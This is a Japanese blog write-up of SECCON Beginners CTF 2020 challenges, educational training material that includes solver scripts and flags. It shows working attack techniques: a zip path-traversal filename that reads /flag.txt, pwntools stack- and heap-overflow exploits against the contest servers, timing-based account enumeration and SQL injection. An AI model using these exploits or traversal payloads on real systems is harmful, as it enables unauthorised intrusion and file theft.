kuzushikiのぺーじ

セキュリティに関することを書きたいですね

GitHub Twitter

SECCON Beginners CTF 2020 write up

SECCON Beginners CTF 2020に参加しました!

(team: KO-GEKI-SHA)

今回は会社の同期を誘って参加しました。自分は1404点を入れ、順位は66位 / 1009チーム(0点は除く)でした。

FireShot Capture 018 - Beginners CTF 2020 - score beginners seccon jp

FireShot Capture 016 - Beginners CTF 2020 - score beginners seccon jp

だいぶ出遅れてしまいましたが,write upを書いていきます!

Misc

emoemoencode (Misc, 53 pts, 471 solves)

Do you know emo-emo-encode?

以下の暗号文が得られます。

🍣🍴🍦🌴🍢🍻🍳🍴🍥🍧🍡🍮🌰🍧🍲🍡🍰🍨🍹🍟🍢🍹🍟🍥🍭🌰🌰🌰🌰🌰🌰🍪🍩🍽

食べ物ばかりで美味しそうですね。

「食べ物」に関連する絵文字の文字コードは近そうです。 暗号文に使われている文字の文字コードからある数を引くとフラグになるのではないでしょうか?

先頭の文字コードが0になるようにしてから,1ずつ足していきます。

with open('emoemoencode.txt', 'r') as f:
    data = f.read()
i = 0
for i in range (1, 1000):
    dec = ''
    for c in data:
        try:
            dec+= chr(ord(c) - ord(data[0]) + i)
        except:
            continue
    if 'ctf' in dec:
        print(dec)
        exit()

フラグが得られました!

kali@kali:~/ctf/ctf4b-2020/misc$ python3 emo.py 
ctf4b{stegan0graphy_by_em000000ji}

ctf4b{stegan0graphy_by_em000000ji}

Crypto

R&B (Crypto, 52 pts, 500 solves)

Do you like rhythm and blues?

以下のソースコードが得られます。

from os import getenv


FLAG = getenv("FLAG")
FORMAT = getenv("FORMAT")


def rot13(s):
    # snipped


def base64(s):
    # snipped


for t in FORMAT:
    if t == "R":
        FLAG = "R" + rot13(FLAG)
    if t == "B":
        FLAG = "B" + base64(FLAG)

print(FLAG)

フラグをrot13base64を用いて暗号化しています。

rot13で暗号化したらR, base64で暗号化したらBが先頭につくようです。

復号するスクリプトを書きました。

import codecs

with open('encoded_flag', 'r') as f:
    data = f.read()

while (data[0] == 'R' or data[0] == 'B'):
    if data[0] == 'R':
        data = codecs.decode(data[1:], 'rot13')
    elif data[0] == 'B':
        data = codecs.decode(data[1:].encode(), 'base64_codec')
    try:
        data = data.decode()
    except:
        pass
print(data)

実行すると,フラグが得られました。

kali@kali:~/ctf/ctf4b-2020/crypto/r_and_b$ python3 rb.py 
ctf4b{rot_base_rot_base_rot_base_base}

ctf4b{rot_base_rot_base_rot_base_base}

Noisy equations (Crypto, 261 pts, 76 solves)

noise hides flag.

指定されているサーバにアクセスすると,大量の数値が返ってきます。

また,ソースコードも添付されています。

from os import getenv
from time import time
from random import getrandbits, seed


FLAG = getenv("FLAG").encode()
SEED = getenv("SEED").encode()

L = 256
N = len(FLAG)


def dot(A, B):
    assert len(A) == len(B)
    return sum([a * b for a, b in zip(A, B)])

coeffs = [[getrandbits(L) for _ in range(N)] for _ in range(N)]

seed(SEED)

answers = [dot(coeff, FLAG) + getrandbits(L) for coeff in coeffs]

print(coeffs)
print(answers)

乱数で行列を作り,フラグの文字との内積を計算し,最後に乱数を足しているのがわかります。

また,行列に用いられる乱数はランダムですが,最後に足す乱数はシードが固定なので値が一定なこともわかります。

サーバに2回接続し,その結果の差分を取ることで,最後に足す乱数を消すことができそうです。

すると連立1次方程式の形になるので,逆行列を求めて解くことができます。

復号するスクリプトを書きました。

# 行列の計算に用いる
import numpy as np

# あまりにも長いため割愛
coeffs1 = 
answer1 = 
coeffs2 =
answer2 =

ary = np.array(coeffs1)- np.array(coeffs2)
ans = np.array(answer1) - np.array(answer2)
ary = ary.astype(np.float64)
flag = np.dot(np.linalg.inv(ary),ans)

flag_list = flag.tolist()

for a in flag_list:
    print(chr(round(a)),end='')
print('')

実行すると,フラグが得られました。

kali@kali:~/ctf/ctf4b-2020/crypto/noisy-equations$ python3 solve2.py 
ctf4b{r4nd0m_533d_15_n3c3554ry_f0r_53cur17y}

ctf4b{r4nd0m_533d_15_n3c3554ry_f0r_53cur17y}

Reversing

mask (Reversing, 62 pts, 354 solves)

The price of mask goes down. So does the point (it's easy)!

バイナリが配られるので,実行してみます。

kali@kali:~/ctf/ctf4b-2020/rev$ ./mask
Usage: ./mask [FLAG]
kali@kali:~/ctf/ctf4b-2020/rev$ ./mask flag
Putting on masks...
ddae
bhac
Wrong FLAG. Try again.
kali@kali:~/ctf/ctf4b-2020/rev$ ./mask flag{}
Putting on masks...
ddaequ
bhacki
Wrong FLAG. Try again.

どうやら入力した文字を一文字ずつ変換しているようです。

ltraceで比較などを行っていないか調べてみます。

kali@kali:~/ctf/ctf4b-2020/rev$ ltrace ./mask flag
strcpy(0x7fff2cd94700, "flag")                                                                                        = 0x7fff2cd94700
strlen("flag")                                                                                                        = 4
puts("Putting on masks..."Putting on masks...
)                                                                                           = 20
puts("ddae"ddae
)                                                                                                          = 5
puts("bhac"bhac
)                                                                                                          = 5
strcmp("ddae", "atd4`qdedtUpetepqeUdaaeUeaqau")                                                                       = 3
puts("Wrong FLAG. Try again."Wrong FLAG. Try again.
)                                                                                        = 23
+++ exited (status 0) +++

以下の部分で比較していることがわかります。

strcmp("ddae", "atd4`qdedtUpetepqeUdaaeUeaqau")

一致するような入力を総当りで求めます。

import subprocess
import string

enc = "atd4`qdedtUpetepqeUdaaeUeaqau"
flag = 'ctf4b{'
while flag[-1] != '}':
    for c in string.printable:
        tmp = flag + c

        proc = subprocess.run(['./mask', tmp], check=True, stdout=subprocess.PIPE)
        ans = proc.stdout.decode()
        ans = ans.split("\n")[1]
        if ans in enc:
            flag = tmp
            print(flag)
            break

実行しても,フラグが得られませんでした。

kali@kali:~/ctf/ctf4b-2020/rev$ python3 mask_test.py 
ctf4b{d
ctf4b{de
ctf4b{ded
ctf4b{dedt
ctf4b{dedtU
ctf4b{dedtUp
ctf4b{dedtUpe
ctf4b{dedtUpet
ctf4b{dedtUpete
ctf4b{dedtUpetep
ctf4b{dedtUpetepq
ctf4b{dedtUpetepqe
ctf4b{dedtUpetepqeU
ctf4b{dedtUpetepqeUd
ctf4b{dedtUpetepqeUda
ctf4b{dedtUpetepqeUdaa
ctf4b{dedtUpetepqeUdaae
ctf4b{dedtUpetepqeUdaaeU
ctf4b{dedtUpetepqeUdaaeUe
ctf4b{dedtUpetepqeUdaaeUea
ctf4b{dedtUpetepqeUdaaeUeaq
ctf4b{dedtUpetepqeUdaaeUeaqa
ctf4b{dedtUpetepqeUdaaeUeaqau

どうやらまだ続きがありそうです。

得られた値で,もう一度ltraceをおこないます。

kali@kali:~/ctf/ctf4b-2020/rev$ ltrace ./mask ctf4b{dedtUpetepqeUdaaeUeaqau
strcpy(0x7ffd70c6c710, "ctf4b{dedtUpetepqeUdaaeUeaqau")                                                               = 0x7ffd70c6c710
strlen("ctf4b{dedtUpetepqeUdaaeUeaqau")                                                                               = 29
puts("Putting on masks..."Putting on masks...
)                                                                                           = 20
puts("atd4`qdedtUpetepqeUdaaeUeaqau"atd4`qdedtUpetepqeUdaaeUeaqau
)                                                                                 = 30
puts("c`b bk`a``A`a`a`aaA`aaaAaaaaa"c`b bk`a``A`a`a`aaA`aaaAaaaaa
)                                                                                 = 30
strcmp("atd4`qdedtUpetepqeUdaaeUeaqau", "atd4`qdedtUpetepqeUdaaeUeaqau")                                              = 0
strcmp("c`b bk`a``A`a`a`aaA`aaaAaaaaa", "c`b bk`kj`KbababcaKbacaKiacki")                                              = -10
puts("Wrong FLAG. Try again."Wrong FLAG. Try again.
)                                                                                        = 23
+++ exited (status 0) +++

別の値とも比較していることがわかりました。

strcmp("c`b bk`a``A`a`a`aaA`aaaAaaaaa", "c`b bk`kj`KbababcaKbacaKiacki")

今度はここも一致するようにスクリプトを修正します。

import subprocess
import string

enc1 = "atd4`qdedtUpetepqeUdaaeUeaqau"
enc2 = "c`b bk`kj`KbababcaKbacaKiacki"
# flag = 'ctf4b{'
flag = 'ctf4b{'
while flag[-1] != '}':
    for c in string.printable:
        tmp = flag + c

        proc = subprocess.run(['./mask', tmp], check=True, stdout=subprocess.PIPE)
        ans = proc.stdout.decode()
        ans1 = ans.split("\n")[1]
        ans2 = ans.split("\n")[2]
        if (ans1 in enc1) and (ans2 in enc2):
            flag = tmp
            print(flag)
            break

実行すると,フラグが得られました!

kali@kali:~/ctf/ctf4b-2020/rev$ python3 mask_solve.py
ctf4b{d
ctf4b{do
ctf4b{don
ctf4b{dont
ctf4b{dont_
ctf4b{dont_r
ctf4b{dont_re
ctf4b{dont_rev
ctf4b{dont_reve
ctf4b{dont_rever
ctf4b{dont_revers
ctf4b{dont_reverse
ctf4b{dont_reverse_
ctf4b{dont_reverse_f
ctf4b{dont_reverse_fa
ctf4b{dont_reverse_fac
ctf4b{dont_reverse_face
ctf4b{dont_reverse_face_
ctf4b{dont_reverse_face_m
ctf4b{dont_reverse_face_ma
ctf4b{dont_reverse_face_mas
ctf4b{dont_reverse_face_mask
ctf4b{dont_reverse_face_mask}

ctf4b{dont_reverse_face_mask}

他の方のwriteupを拝見しましたが,静的解析したほうが簡単そうでした。

yakisoba (Reversing, 156 pts, 144 solves)

Would you like to have a yakisoba code?

(Hint: You'd better automate your analysis)

問題文に automate your analysisと書かれているので,angrというツールを使って自動で解析してみます。

上記リンクにサンプルコードが載っています。

import angr

project = angr.Project("angr-doc/examples/defcamp_r100/r100", auto_load_libs=False)

@project.hook(0x400844)
def print_flag(state):
    print("FLAG SHOULD BE:", state.posix.dumps(0))
    project.terminate_execution()

project.execute()

必要なのは正解ルートのアドレス(例では0x400844)になります。

IDAで開いて,分岐を見てみます。

キャプチャ

Correct!と書いてあるほうが正解でしょう。アドレスは0x6D2でした。(下のほうに表示されます)

サンプルコードを以下のように修正します。

import angr

project = angr.Project('./yakisoba', main_opts={'base_addr': 0x0})

@project.hook(0x6d2)
def print_flag(state):
    print("FLAG SHOULD BE:", state.posix.dumps(0))
    project.terminate_execution()

project.execute()

10秒くらいで解けました!

(angr) kali@kali:~/ctf/ctf4b-2020/rev/yakisoba$ python3 yaki_solve.py 
WARNING | 2020-05-25 20:44:46,546 | angr.state_plugins.symbolic_memory | The program is accessing memory or registers with an unspecified value. This could indicate unwanted behavior.
WARNING | 2020-05-25 20:44:46,547 | angr.state_plugins.symbolic_memory | angr will cope with this by generating an unconstrained symbolic variable and continuing. You can resolve this by:
WARNING | 2020-05-25 20:44:46,547 | angr.state_plugins.symbolic_memory | 1) setting a value to the initial state
WARNING | 2020-05-25 20:44:46,547 | angr.state_plugins.symbolic_memory | 2) adding the state option ZERO_FILL_UNCONSTRAINED_{MEMORY,REGISTERS}, to make unknown regions hold null
WARNING | 2020-05-25 20:44:46,547 | angr.state_plugins.symbolic_memory | 3) adding the state option SYMBOL_FILL_UNCONSTRAINED_{MEMORY_REGISTERS}, to suppress these messages.
WARNING | 2020-05-25 20:44:46,547 | angr.state_plugins.symbolic_memory | Filling memory at 0x7fffffffffefff8 with 8 unconstrained bytes referenced from 0x109d03d (explicit_bzero+0x8c6d in libc.so.6 (0x9d03d))
FLAG SHOULD BE: b'ctf4b{sp4gh3tt1_r1pp3r1n0}\x00\xd9\xd9\xd9\xd9'

ctf4b{sp4gh3tt1_r1pp3r1n0}

Web

Spy (Web, 55 pts, 441 solves)

As a spy, you are spying on the "ctf4b company".

You got the name-list of employees and the URL to the in-house web tool used by some of them.

Your task is to enumerate the employees who use this tool in order to make it available for social engineering.

指定されたURIにアクセスすると,ログイン画面が確認できます。

キャプチャ3

特徴として,下のほうに時間が表示されています。

また,challenge pageにアクセスすると,名前の一覧が表示されます。

キャプチャ4

ここから正しい組み合わせを選択すれば,フラグが出てきそうです。

次に,配布されたソースコードを見ていきます。

import os
import time

from flask import Flask, render_template, request, session

# Database and Authentication libraries (you can't see this :p).
import db
import auth

# ====================

app = Flask(__name__)
app.SALT = os.getenv("CTF4B_SALT")
app.FLAG = os.getenv("CTF4B_FLAG")
app.SECRET_KEY = os.getenv("CTF4B_SECRET_KEY")

db.init()
employees = db.get_all_employees()

# ====================

@app.route("/", methods=["GET", "POST"])
def index():
    t = time.perf_counter()

    if request.method == "GET":
        return render_template("index.html", message="Please login.", sec="{:.7f}".format(time.perf_counter()-t))
    
    if request.method == "POST":
        name = request.form["name"]
        password = request.form["password"]

        exists, account = db.get_account(name)

        if not exists:
            return render_template("index.html", message="Login failed, try again.", sec="{:.7f}".format(time.perf_counter()-t))

        # auth.calc_password_hash(salt, password) adds salt and performs stretching so many times.
        # You know, it's really secure... isn't it? :-)
        hashed_password = auth.calc_password_hash(app.SALT, password)
        if hashed_password != account.password:
            return render_template("index.html", message="Login failed, try again.", sec="{:.7f}".format(time.perf_counter()-t))

        session["name"] = name
        return render_template("dashboard.html", sec="{:.7f}".format(time.perf_counter()-t))

# ====================

@app.route("/challenge", methods=["GET", "POST"])
def challenge():
    t = time.perf_counter()
    
    if request.method == "GET":
        return render_template("challenge.html", employees=employees, sec="{:.7f}".format(time.perf_counter()-t))

    if request.method == "POST":
        answer = request.form.getlist("answer")

        # If you can enumerate all accounts, I'll give you FLAG!
        if set(answer) == set(account.name for account in db.get_all_accounts()):
            message = app.FLAG
        else:
            message = "Wrong!!"
        
        return render_template("challenge.html", message=message, employees=employees, sec="{:.7f}".format(time.perf_counter()-t))

# ====================

if __name__ == '__main__':
    db.init()
    app.run(host=os.getenv("CTF4B_HOST"), port=os.getenv("CTF4B_PORT"))

気になるコメントが書かれています。

        if not exists:
            return render_template("index.html", message="Login failed, try again.", sec="{:.7f}".format(time.perf_counter()-t))
        # auth.calc_password_hash(salt, password) adds salt and performs stretching so many times.
        # You know, it's really secure... isn't it? :-)

たくさんストレッチングをおこなっているようです。 この処理はログインに使用したユーザ名が存在した場合のみおこなわれます。

ストレッチングを何回やっているかはわかりませんが,この処理にはある程度時間がかかりそうです。

配布されているユーザリストの先頭からログインしていき,時間をくらべると,時間がかかるグループとかからないグループがあることがわかりました。

時間がかかったユーザ = 登録されているユーザなので,該当ユーザのみ選択してAnswerボタンを押すと,フラグが得られました!

キャプチャ2

ctf4b{4cc0un7_3num3r4710n_by_51d3_ch4nn3l_4774ck}

Tweetstore (Web, 150 pts, 150 solves)

Search your flag!

指定されたURIにアクセスすると,ツイートの検索画面が確認できます。

キャプチャ5

ソースコードも見てみます。

package main

import (
	"context"
	"fmt"
	"log"
	"os"
	"strings"
	"time"
	
	"database/sql"
	"html/template"
	"net/http"

	"github.com/gorilla/handlers"
	"github.com/gorilla/mux"

	_"github.com/lib/pq"
)

var tmplPath = "./templates/"

var db *sql.DB

type Tweets struct {
	Url        string
	Text       string
	Tweeted_at time.Time
}

func handler_index(w http.ResponseWriter, r *http.Request) {

	tmpl, err := template.ParseFiles(tmplPath + "index.html")
	if err != nil {
		log.Fatal(err)
	}

	var sql = "select url, text, tweeted_at from tweets"

	search, ok := r.URL.Query()["search"]
	if ok {
		sql += " where text like '%" + strings.Replace(search[0], "'", "\\'", -1) + "%'"
	}

	sql += " order by tweeted_at desc"

	limit, ok := r.URL.Query()["limit"]
	if ok && (limit[0] != "") {
		sql += " limit " + strings.Split(limit[0], ";")[0]
	}

	var data []Tweets


	ctx, cancel := context.WithTimeout(context.Background(), 1*time.Second)
	defer cancel()

	rows, err := db.QueryContext(ctx, sql)
	if err != nil{
		http.Error(w, http.StatusText(500), 500)
		return
	}

	for rows.Next() {
		var text string
		var url string
		var tweeted_at time.Time

		err := rows.Scan(&url, &text, &tweeted_at)
		if err != nil {
			http.Error(w, http.StatusText(500), 500)
			return
		}
		data = append(data, Tweets{url, text, tweeted_at})
	}

	tmpl.Execute(w, data)
}

func initialize() {
	var err error

	dbname := "ctf"
	dbuser := os.Getenv("FLAG")
	dbpass := "password"

	connInfo := fmt.Sprintf("port=%d host=%s user=%s password=%s dbname=%s sslmode=disable", 5432, "db", dbuser, dbpass, dbname)
	db, err = sql.Open("postgres", connInfo)
	if err != nil {
		log.Fatal(err)
	}
}

func main() {

	initialize()

	r := mux.NewRouter()
	r.HandleFunc("/", handler_index).Methods("GET")

	http.Handle("/", r)
	http.ListenAndServe(":8080", handlers.LoggingHandler(os.Stdout, http.DefaultServeMux))
}

少し長いので,重要な箇所をぬきだします。

SQL文の組み立て処理

	var sql = "select url, text, tweeted_at from tweets"

	search, ok := r.URL.Query()["search"]
	if ok {
		sql += " where text like '%" + strings.Replace(search[0], "'", "\\'", -1) + "%'"
	}

	sql += " order by tweeted_at desc"

	limit, ok := r.URL.Query()["limit"]
	if ok && (limit[0] != "") {
		sql += " limit " + strings.Split(limit[0], ";")[0]
	}

データベースの設定処理

func initialize() {
	var err error

	dbname := "ctf"
	dbuser := os.Getenv("FLAG")
	dbpass := "password"

	connInfo := fmt.Sprintf("port=%d host=%s user=%s password=%s dbname=%s sslmode=disable", 5432, "db", dbuser, dbpass, dbname)
	db, err = sql.Open("postgres", connInfo)
	if err != nil {
		log.Fatal(err)
	}
}

以上から,以下のことがわかります。

  • SQL文の組み立てを文字列の結合でおこなっており,SQLインジェクションができそう
  • フラグはdbuserに格納されていそう
  • 使用しているDBはpostgres

色々試したのですが,上手く行かなかったのでsqlmapを使いました。

--current-userでユーザを抽出できます。

unknown

ctf4b{is_postgres_your_friend?}

次回は手動で解けるように復習しておきます。

unzip (Web, 188 pts, 118 solves)

Unzip Your .zip Archive Like a Pro.

指定されたURIにアクセスすると,zipファイルのアップロード画面が確認できます。

キャプチャ6

ソースコードが配布されていたので見ていきます。

<?php
error_reporting(0);
session_start();

// prepare the session
$user_dir = "/uploads/" . session_id();
if (!file_exists($user_dir))
    mkdir($user_dir);

if (!isset($_SESSION["files"]))
    $_SESSION["files"] = array();

// return file if filename parameter is passed
if (isset($_GET["filename"]) && is_string(($_GET["filename"]))) {
    if (in_array($_GET["filename"], $_SESSION["files"], TRUE)) {
        $filepath = $user_dir . "/" . $_GET["filename"];
        header("Content-Type: text/plain");
        echo file_get_contents($filepath);
        die();
    } else {
        echo "no such file";
        die();
    }
}

// process uploaded files
$target_file = $target_dir . basename($_FILES["file"]["name"]);
if (isset($_FILES["file"])) {
    // size check of uploaded file
    if ($_FILES["file"]["size"] > 1000) {
        echo "the size of uploaded file exceeds 1000 bytes.";
        die();
    }

    // try to open uploaded file as zip
    $zip = new ZipArchive;
    if ($zip->open($_FILES["file"]["tmp_name"]) !== TRUE) {
        echo "failed to open your zip.";
        die();
    }


    // check the size of unzipped files
    $extracted_zip_size = 0;
    for ($i = 0; $i < $zip->numFiles; $i++)
        $extracted_zip_size += $zip->statIndex($i)["size"];

    if ($extracted_zip_size > 1000) {
        echo "the total size of extracted files exceeds 1000 bytes.";
        die();
    }

    // extract
    $zip->extractTo($user_dir);

    // add files to $_SESSION["files"]
    for ($i = 0; $i < $zip->numFiles; $i++) {
        $s = $zip->statIndex($i);
        if (!in_array($s["name"], $_SESSION["files"], TRUE)) {
            $_SESSION["files"][] = $s["name"];
        }
    }

    $zip->close();
}
?>

<!DOCTYPE html>
<html>

<head>
    <link href="https://fonts.googleapis.com/icon?family=Material+Icons" rel="stylesheet">
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/materialize/1.0.0/css/materialize.min.css">

    <meta name="viewport" content="width=device-width, initial-scale=1.0" />
    <title></title>
</head>

<body>
    <nav role="navigation">
        <div class="nav-wrapper container">
            <a id="logo-container" href="/" class="brand-logo">Unzip</a>
        </div>
    </nav>


    <div class="container">
        <br><br>
        <h1 class="header center teal-text text-lighten-2">Unzip</h1>
        <div class="row center">
            <h5 class="header col s12 light">
                Unzip Your .zip Archive Like a Pro
            </h5>
        </div>
    </div>
    </div>



    <div class="container">
        <div class="section">
            <h2>Upload</h2>
            <form method="post" enctype="multipart/form-data">
                <div class="file-field input-field">
                    <div class="btn">
                        <span>Select .zip to Upload</span>
                        <input type="file" name="file">
                    </div>
                    <div class="file-path-wrapper">
                        <input class="file-path validate" type="text">
                    </div>
                </div>
                <button class="btn waves-effect waves-light">
                    Submit
                    <i class="material-icons right">send</i>
                </button>
            </form>
        </div>
    </div>

    <div class="container">
        <div class="section">
            <h2>Files from Your Archive(s)</h2>
            <div class="collection">
                <?php foreach ($_SESSION["files"] as $filename) { ?>
                    <a href="/?filename=<?= urlencode($filename) ?>" class="collection-item"><?= htmlspecialchars($filename, ENT_QUOTES, "UTF-8") ?></a>
                <? } ?>
            </div>
        </div>
    </div>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/materialize/1.0.0/js/materialize.min.js"></script>
</body>

</html>

また,docker-compose.ymlも見てみます。

version: "3"

services:
  nginx:
    build: ./docker/nginx
    ports:
      - "127.0.0.1:$APP_PORT:80"
    depends_on:
      - php-fpm
    volumes:
      - ./storage/logs/nginx:/var/log/nginx
      - ./public:/var/www/web
    environment:
      TZ: "Asia/Tokyo"
    restart: always

  php-fpm:
    build: ./docker/php-fpm
    env_file: .env
    working_dir: /var/www/web
    environment:
      TZ: "Asia/Tokyo"
    volumes:
      - ./public:/var/www/web
      - ./uploads:/uploads
      - ./flag.txt:/flag.txt
    restart: always

フラグは/flag.txtに配置されているようです。

アップロードサービスを悪用して,このフラグを閲覧できないでしょうか?

ソースコードの以下の部分にecho file_get_contents($filepath);という記述があります。

// return file if filename parameter is passed
if (isset($_GET["filename"]) && is_string(($_GET["filename"]))) {
    if (in_array($_GET["filename"], $_SESSION["files"], TRUE)) {
        $filepath = $user_dir . "/" . $_GET["filename"];
        header("Content-Type: text/plain");
        echo file_get_contents($filepath);
        die();
    } else {
        echo "no such file";
        die();
    }
}

$filepath/flag.txtを指定できないでしょうか?

この変数は以下のように定義されており,

$filepath = $user_dir . "/" . $_GET["filename"];

$user_dirは以下の部分に記載されています。

// prepare the session
$user_dir = "/uploads/" . session_id();
if (!file_exists($user_dir))
    mkdir($user_dir);

よって,$_GET["filename"]../../flag.txtを指定できれば,

$filepath = "/uploads/" . session_id() . "/" . "../../flag.txt";

となり,/flag.txtを表示させることができそうです。

実は../../flag.txtというファイル名を含むzipファイルを作ることができます。

上の階層にflag.txtを作っておき(中身は何でもOK),下からzipコマンドを使用します。

ali@kali:~/ctf/ctf4b-2020/web/unzip/test$ ls
flag.txt  test
kali@kali:~/ctf/ctf4b-2020/web/unzip/test$ tree
.
├── flag.txt
└── test
    └── test

2 directories, 1 file
kali@kali:~/ctf/ctf4b-2020/web/unzip/test$ cd test/test
kali@kali:~/ctf/ctf4b-2020/web/unzip/test/test/test$ zip hoge.zip ../../flag.txt
  adding: ../../flag.txt (stored 0%)

すると,../../flag.txtが追加されたことがわかります。

後はこのzipファイルをアップロードするだけです。

アップロードするとリンクが生成されるので,

キャプチャ7

クリックすると,フラグが表示されます!

ctf4b{y0u_c4nn07_7ru57_4ny_1npu75_1nclud1n6_z1p_f1l3n4m35}

Pwn

Pwnに関してはソースコードと実行結果のみ載せます。

Beginner’s Stack (Pwn, 188 pts, 118 solves)

Let's learn how to abuse stack overflow!

ソースコード

from pwn import *

io = remote('bs.quals.beginners.seccon.jp', 9001)

ret =  0x00400626
win = 0x400861

payload = "A"*8*5 + p64(ret) + p64(win)

io.sendline(payload)
io.interactive()

実行結果

kali@kali:~/ctf/ctf4b-2020/pwn/beginners_stack$ python solve.py 
[+] Opening connection to bs.quals.beginners.seccon.jp on port 9001: Done
[*] Switching to interactive mode
Your goal is to call `win` function (located at 0x400861)

   [ Address ]           [ Stack ]
                   +--------------------+
0x00007ffc18a66f10 | 0x00007ff72b8a49a0 | <-- buf
                   +--------------------+
0x00007ffc18a66f18 | 0x0000000000000000 |
                   +--------------------+
0x00007ffc18a66f20 | 0x0000000000000000 |
                   +--------------------+
0x00007ffc18a66f28 | 0x00007ff72babd170 |
                   +--------------------+
0x00007ffc18a66f30 | 0x00007ffc18a66f40 | <-- saved rbp (vuln)
                   +--------------------+
0x00007ffc18a66f38 | 0x000000000040084e | <-- return address (vuln)
                   +--------------------+
0x00007ffc18a66f40 | 0x0000000000400ad0 | <-- saved rbp (main)
                   +--------------------+
0x00007ffc18a66f48 | 0x00007ff72b4c4b97 | <-- return address (main)
                   +--------------------+
0x00007ffc18a66f50 | 0x0000000000000001 |
                   +--------------------+
0x00007ffc18a66f58 | 0x00007ffc18a67028 |
                   +--------------------+

Input: 
   [ Address ]           [ Stack ]
                   +--------------------+
0x00007ffc18a66f10 | 0x4141414141414141 | <-- buf
                   +--------------------+
0x00007ffc18a66f18 | 0x4141414141414141 |
                   +--------------------+
0x00007ffc18a66f20 | 0x4141414141414141 |
                   +--------------------+
0x00007ffc18a66f28 | 0x4141414141414141 |
                   +--------------------+
0x00007ffc18a66f30 | 0x4141414141414141 | <-- saved rbp (vuln)
                   +--------------------+
0x00007ffc18a66f38 | 0x0000000000400626 | <-- return address (vuln)
                   +--------------------+
0x00007ffc18a66f40 | 0x0000000000400861 | <-- saved rbp (main)
                   +--------------------+
0x00007ffc18a66f48 | 0x00007ff72b4c4b0a | <-- return address (main)
                   +--------------------+
0x00007ffc18a66f50 | 0x0000000000000001 |
                   +--------------------+
0x00007ffc18a66f58 | 0x00007ffc18a67028 |
                   +--------------------+

Congratulations!
$ ls
chall
flag.txt
redir.sh
$ cat flag.txt
ctf4b{u_r_st4ck_pwn_b3g1nn3r_tada}$  

Beginner’s Heap (Pwn, 293 pts, 62 solves)

Let's learn how to abuse heap overflow!

ソースコード

なぜか一部自動化できない処理があったので, interactive()を挟んで手動で操作をおこないました。

ヒントを見て値を調節しての繰り返しで解いたので,最適解では無いです。

from pwn import *
io =remote('bh.quals.beginners.seccon.jp', 9002)
free_hook = p64(0x7f925332a8e8)
win = p64(0x556ec09d2465)
io.recvuntil(b'hook>: ')
free_hook = io.recvline().strip()
free_hook = int(free_hook.decode()[2:],16)
io.recvuntil(b'win>: ')
win = io.recvline().strip()
win = int(win.decode()[2:],16)
print(free_hook,win)

io.sendlineafter(b'> ', b'2')
io.sendline(b'a'*4)
#ここでfreeをおこなう。終わったらctrl+cで処理を進めること
io.interactive()
io.sendline(b'1')
io.sendline(b'a'*8*3 + p64(0x110) + p64(free_hook))
# ここでBをmallocしてすぐfreeにする。
io.interactive()
io.sendline(b'2')
io.sendline(p64(win))
#最後にfreeをする。
io.interactive()

実行結果

kali@kali:~/ctf/ctf4b-2020/pwn$ python3 heap2.py 
[+] Opening connection to bh.quals.beginners.seccon.jp on port 9002: Done
139956446386408 94554282108005
[*] Switching to interactive mode
function and you'll get the flag.

1. read(0, A, 0x80);
2. B = malloc(0x18); read(0, B, 0x18);
3. free(B); B = NULL;
4. Describe heap
5. Describe tcache (for size 0x20)
6. Currently available hint
> 1. read(0, A, 0x80);
2. B = malloc(0x18); read(0, B, 0x18);
3. free(B); B = NULL;
4. Describe heap
5. Describe tcache (for size 0x20)
6. Currently available hint
> $ 3
1. read(0, A, 0x80);
2. B = malloc(0x18); read(0, B, 0x18);
3. free(B); B = NULL;
4. Describe heap
5. Describe tcache (for size 0x20)
6. Currently available hint
> $ 
[*] Interrupted
[*] Switching to interactive mode
1. read(0, A, 0x80);
2. B = malloc(0x18); read(0, B, 0x18);
3. free(B); B = NULL;
4. Describe heap
5. Describe tcache (for size 0x20)
6. Currently available hint
> $ 2
$ 
1. read(0, A, 0x80);
2. B = malloc(0x18); read(0, B, 0x18);
3. free(B); B = NULL;
4. Describe heap
5. Describe tcache (for size 0x20)
6. Currently available hint
> $ 3
1. read(0, A, 0x80);
2. B = malloc(0x18); read(0, B, 0x18);
3. free(B); B = NULL;
4. Describe heap
5. Describe tcache (for size 0x20)
6. Currently available hint
> $ 
[*] Interrupted
[*] Switching to interactive mode
1. read(0, A, 0x80);
2. B = malloc(0x18); read(0, B, 0x18);
3. free(B); B = NULL;
4. Describe heap
5. Describe tcache (for size 0x20)
6. Currently available hint
> $ 3
Congratulations!
ctf4b{l1bc_m4ll0c_h34p_0v3rfl0w_b4s1cs}

感想

実は去年のSECCON Beginners CTFが初体験でした。

その時は200位ぐらいだったので,成長できているようで良かったです。

来年はより高順位を目指したいですね。